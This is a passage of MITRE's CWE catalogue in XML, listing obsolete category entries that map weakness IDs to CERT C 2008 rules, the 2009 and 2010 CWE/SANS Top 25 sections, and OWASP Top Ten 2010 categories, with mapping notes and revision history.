			<Previous_Entry_Name Date="2019-01-03">CERT C Secure Coding (2008 Version) Section 12 - Error Handling (ERR)</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="747" Name="CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Miscellaneous (MSC) chapter of the CERT C Secure Coding Standard (2008).</Summary>
         <Relationships>
            <Has_Member CWE_ID="14" View_ID="734"/>
            <Has_Member CWE_ID="176" View_ID="734"/>
            <Has_Member CWE_ID="20" View_ID="734"/>
            <Has_Member CWE_ID="330" View_ID="734"/>
            <Has_Member CWE_ID="480" View_ID="734"/>
            <Has_Member CWE_ID="482" View_ID="734"/>
            <Has_Member CWE_ID="561" View_ID="734"/>
            <Has_Member CWE_ID="563" View_ID="734"/>
            <Has_Member CWE_ID="570" View_ID="734"/>
            <Has_Member CWE_ID="571" View_ID="734"/>
            <Has_Member CWE_ID="697" View_ID="734"/>
            <Has_Member CWE_ID="704" View_ID="734"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-597"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
            <Note Type="Relationship">
               <xhtml:p>In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs:</xhtml:p>
                  <xhtml:ul>
                     <xhtml:li>CWE-14 MSC06-C Be aware of compiler optimization when dealing with sensitive data</xhtml:li>
                     <xhtml:li>CWE-20 MSC08-C Library functions should validate their parameters</xhtml:li>
                     <xhtml:li>CWE-176 MSC10-C Character Encoding - UTF8 Related Issues</xhtml:li>
                     <xhtml:li>CWE-330 MSC30-C Do not use the rand() function for generating pseudorandom numbers</xhtml:li>
                     <xhtml:li>CWE-480 MSC02-C Avoid errors of omission</xhtml:li>
                     <xhtml:li>CWE-480 MSC03-C Avoid errors of addition</xhtml:li>
                     <xhtml:li>CWE-482 MSC02-C Avoid errors of omission</xhtml:li>
                     <xhtml:li>CWE-561 MSC07-C Detect and remove dead code</xhtml:li>
                     <xhtml:li>CWE-563 MSC00-C Compile cleanly at high warning levels</xhtml:li>
                     <xhtml:li>CWE-570 MSC00-C Compile cleanly at high warning levels</xhtml:li>
                     <xhtml:li>CWE-571 MSC00-C Compile cleanly at high warning levels</xhtml:li>
                     <xhtml:li>CWE-697 MSC31-C Ensure that return values are compared against the proper type</xhtml:li>
                     <xhtml:li>CWE-704 MSC31-C Ensure that return values are compared against the proper type</xhtml:li>
                     <xhtml:li>CWE-758 MSC14-C Do not introduce unnecessary platform dependencies</xhtml:li>
                     <xhtml:li>CWE-758 MSC15-C Do not depend on undefined behavior</xhtml:li>
                  </xhtml:ul>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-11-24</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationship_Notes</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description, Name, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2017-11-08">CERT C Secure Coding Section 49 - Miscellaneous (MSC)</Previous_Entry_Name>
			<Previous_Entry_Name Date="2019-01-03">CERT C Secure Coding (2008 Version) Section 49 - Miscellaneous (MSC)</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="748" Name="CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the POSIX (POS) appendix of the CERT C Secure Coding Standard (2008).</Summary>
         <Relationships>
            <Has_Member CWE_ID="170" View_ID="734"/>
            <Has_Member CWE_ID="242" View_ID="734"/>
            <Has_Member CWE_ID="272" View_ID="734"/>
            <Has_Member CWE_ID="273" View_ID="734"/>
            <Has_Member CWE_ID="363" View_ID="734"/>
            <Has_Member CWE_ID="366" View_ID="734"/>
            <Has_Member CWE_ID="562" View_ID="734"/>
            <Has_Member CWE_ID="59" View_ID="734"/>
            <Has_Member CWE_ID="667" View_ID="734"/>
            <Has_Member CWE_ID="686" View_ID="734"/>
            <Has_Member CWE_ID="696" View_ID="734"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-597"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
            <Note Type="Relationship">
               <xhtml:p>In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs:</xhtml:p>
                  <xhtml:ul>
                     <xhtml:li>CWE-59 POS01-C Check for the existence of links when dealing with files</xhtml:li>
                     <xhtml:li>CWE-170 POS30-C Use the readlink() function properly</xhtml:li>
                     <xhtml:li>CWE-242 POS33-C Do not use vfork()</xhtml:li>
                     <xhtml:li>CWE-272 POS02-C Follow the principle of least privilege</xhtml:li>
                     <xhtml:li>CWE-273 POS37-C Ensure that privilege relinquishment is successful</xhtml:li>
                     <xhtml:li>CWE-363 POS35-C Avoid race conditions while checking for the existence of a symbolic link</xhtml:li>
                     <xhtml:li>CWE-366 POS00-C Avoid race conditions with multiple threads</xhtml:li>
                     <xhtml:li>CWE-562 POS34-C Do not call putenv() with a pointer to an automatic variable as the argument</xhtml:li>
                     <xhtml:li>CWE-667 POS31-C Do not unlock or destroy another thread's mutex</xhtml:li>
                     <xhtml:li>CWE-686 POS34-C Do not call putenv() with a pointer to an automatic variable as the argument</xhtml:li>
                     <xhtml:li>CWE-696 POS36-C Observe correct revocation order while relinquishing privileges</xhtml:li>
                  </xhtml:ul>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-11-24</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationship_Notes</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description, Name, References, Relationship_Notes, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2017-11-08">CERT C Secure Coding Section 50 - POSIX (POS)</Previous_Entry_Name>
			<Previous_Entry_Name Date="2019-01-03">CERT C Secure Coding (2008 Version) Section 50 - POSIX (POS)</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="751" Name="2009 Top 25 - Insecure Interaction Between Components" Status="Obsolete">
         <Summary>Weaknesses in this category are listed in the "Insecure Interaction Between Components" section of the 2009 CWE/SANS Top 25 Programming Errors.</Summary>
         <Relationships>
            <Has_Member CWE_ID="116" View_ID="750"/>
            <Has_Member CWE_ID="20" View_ID="750"/>
            <Has_Member CWE_ID="209" View_ID="750"/>
            <Has_Member CWE_ID="319" View_ID="750"/>
            <Has_Member CWE_ID="352" View_ID="750"/>
            <Has_Member CWE_ID="362" View_ID="750"/>
            <Has_Member CWE_ID="78" View_ID="750"/>
            <Has_Member CWE_ID="79" View_ID="750"/>
            <Has_Member CWE_ID="89" View_ID="750"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-615"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-01-12</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2010-02-16">Insecure Interaction Between Components</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="752" Name="2009 Top 25 - Risky Resource Management" Status="Obsolete">
         <Summary>Weaknesses in this category are listed in the "Risky Resource Management" section of the 2009 CWE/SANS Top 25 Programming Errors.</Summary>
         <Relationships>
            <Has_Member CWE_ID="119" View_ID="750"/>
            <Has_Member CWE_ID="404" View_ID="750"/>
            <Has_Member CWE_ID="426" View_ID="750"/>
            <Has_Member CWE_ID="494" View_ID="750"/>
            <Has_Member CWE_ID="642" View_ID="750"/>
            <Has_Member CWE_ID="665" View_ID="750"/>
            <Has_Member CWE_ID="682" View_ID="750"/>
            <Has_Member CWE_ID="73" View_ID="750"/>
            <Has_Member CWE_ID="94" View_ID="750"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-615"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-01-12</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2010-02-16">Risky Resource Management</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="753" Name="2009 Top 25 - Porous Defenses" Status="Obsolete">
         <Summary>Weaknesses in this category are listed in the "Porous Defenses" section of the 2009 CWE/SANS Top 25 Programming Errors.</Summary>
         <Relationships>
            <Has_Member CWE_ID="250" View_ID="750"/>
            <Has_Member CWE_ID="259" View_ID="750"/>
            <Has_Member CWE_ID="285" View_ID="750"/>
            <Has_Member CWE_ID="327" View_ID="750"/>
            <Has_Member CWE_ID="330" View_ID="750"/>
            <Has_Member CWE_ID="602" View_ID="750"/>
            <Has_Member CWE_ID="732" View_ID="750"/>
            <Has_Member CWE_ID="798" View_ID="750"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-615"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-01-12</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2010-02-16">Porous Defenses</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="801" Name="2010 Top 25 - Insecure Interaction Between Components" Status="Obsolete">
         <Summary>Weaknesses in this category are listed in the "Insecure Interaction Between Components" section of the 2010 CWE/SANS Top 25 Programming Errors.</Summary>
         <Relationships>
            <Has_Member CWE_ID="209" View_ID="800"/>
            <Has_Member CWE_ID="352" View_ID="800"/>
            <Has_Member CWE_ID="362" View_ID="800"/>
            <Has_Member CWE_ID="434" View_ID="800"/>
            <Has_Member CWE_ID="601" View_ID="800"/>
            <Has_Member CWE_ID="78" View_ID="800"/>
            <Has_Member CWE_ID="79" View_ID="800"/>
            <Has_Member CWE_ID="89" View_ID="800"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-732"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2010-01-15</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="802" Name="2010 Top 25 - Risky Resource Management" Status="Obsolete">
         <Summary>Weaknesses in this category are listed in the "Risky Resource Management" section of the 2010 CWE/SANS Top 25 Programming Errors.</Summary>
         <Relationships>
            <Has_Member CWE_ID="120" View_ID="800"/>
            <Has_Member CWE_ID="129" View_ID="800"/>
            <Has_Member CWE_ID="131" View_ID="800"/>
            <Has_Member CWE_ID="190" View_ID="800"/>
            <Has_Member CWE_ID="22" View_ID="800"/>
            <Has_Member CWE_ID="494" View_ID="800"/>
            <Has_Member CWE_ID="754" View_ID="800"/>
            <Has_Member CWE_ID="770" View_ID="800"/>
            <Has_Member CWE_ID="805" View_ID="800"/>
            <Has_Member CWE_ID="98" View_ID="800"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-732"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2010-01-15</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="803" Name="2010 Top 25 - Porous Defenses" Status="Obsolete">
         <Summary>Weaknesses in this category are listed in the "Porous Defenses" section of the 2010 CWE/SANS Top 25 Programming Errors.</Summary>
         <Relationships>
            <Has_Member CWE_ID="285" View_ID="800"/>
            <Has_Member CWE_ID="306" View_ID="800"/>
            <Has_Member CWE_ID="311" View_ID="800"/>
            <Has_Member CWE_ID="327" View_ID="800"/>
            <Has_Member CWE_ID="732" View_ID="800"/>
            <Has_Member CWE_ID="798" View_ID="800"/>
            <Has_Member CWE_ID="807" View_ID="800"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-732"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2010-01-15</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="808" Name="2010 Top 25 - Weaknesses On the Cusp" Status="Obsolete">
         <Summary>Weaknesses in this category are not part of the general Top 25, but they were part of the original nominee list from which the Top 25 was drawn.</Summary>
         <Relationships>
            <Has_Member CWE_ID="134" View_ID="800"/>
            <Has_Member CWE_ID="212" View_ID="800"/>
            <Has_Member CWE_ID="307" View_ID="800"/>
            <Has_Member CWE_ID="330" View_ID="800"/>
            <Has_Member CWE_ID="416" View_ID="800"/>
            <Has_Member CWE_ID="426" View_ID="800"/>
            <Has_Member CWE_ID="454" View_ID="800"/>
            <Has_Member CWE_ID="456" View_ID="800"/>
            <Has_Member CWE_ID="476" View_ID="800"/>
            <Has_Member CWE_ID="59" View_ID="800"/>
            <Has_Member CWE_ID="672" View_ID="800"/>
            <Has_Member CWE_ID="681" View_ID="800"/>
            <Has_Member CWE_ID="749" View_ID="800"/>
            <Has_Member CWE_ID="772" View_ID="800"/>
            <Has_Member CWE_ID="799" View_ID="800"/>
            <Has_Member CWE_ID="804" View_ID="800"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-732"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2010-02-12</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="810" Name="OWASP Top Ten 2010 Category A1 - Injection" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the A1 category in the OWASP Top Ten 2010.</Summary>
         <Relationships>
            <Has_Member CWE_ID="78" View_ID="809"/>
            <Has_Member CWE_ID="88" View_ID="809"/>
            <Has_Member CWE_ID="89" View_ID="809"/>
            <Has_Member CWE_ID="90" View_ID="809"/>
            <Has_Member CWE_ID="91" View_ID="809"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-761"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2010-06-17</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="811" Name="OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS)" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the A2 category in the OWASP Top Ten 2010.</Summary>
         <Relationships>
            <Has_Member CWE_ID="79" View_ID="809"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-762"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2010-06-17</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="812" Name="OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the A3 category in the OWASP Top Ten 2010.</Summary>
         <Relationships>
            <Has_Member CWE_ID="287" View_ID="809"/>
            <Has_Member CWE_ID="306" View_ID="809"/>
            <Has_Member CWE_ID="307" View_ID="809"/>
            <Has_Member CWE_ID="798" View_ID="809"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-763"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2010-06-17</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="813" Name="OWASP Top Ten 2010 Category A4 - Insecure Direct Object References" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the A4 category in the OWASP Top Ten 2010.</Summary>
         <Relationships>
            <Has_Member CWE_ID="22" View_ID="809"/>
            <Has_Member CWE_ID="434" View_ID="809"/>
            <Has_Member CWE_ID="639" View_ID="809"/>
            <Has_Member CWE_ID="829" View_ID="809"/>
            <Has_Member CWE_ID="862" View_ID="809"/>
            <Has_Member CWE_ID="863" View_ID="809"/>
            <Has_Member CWE_ID="99" View_ID="809"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-764"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2010-06-17</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
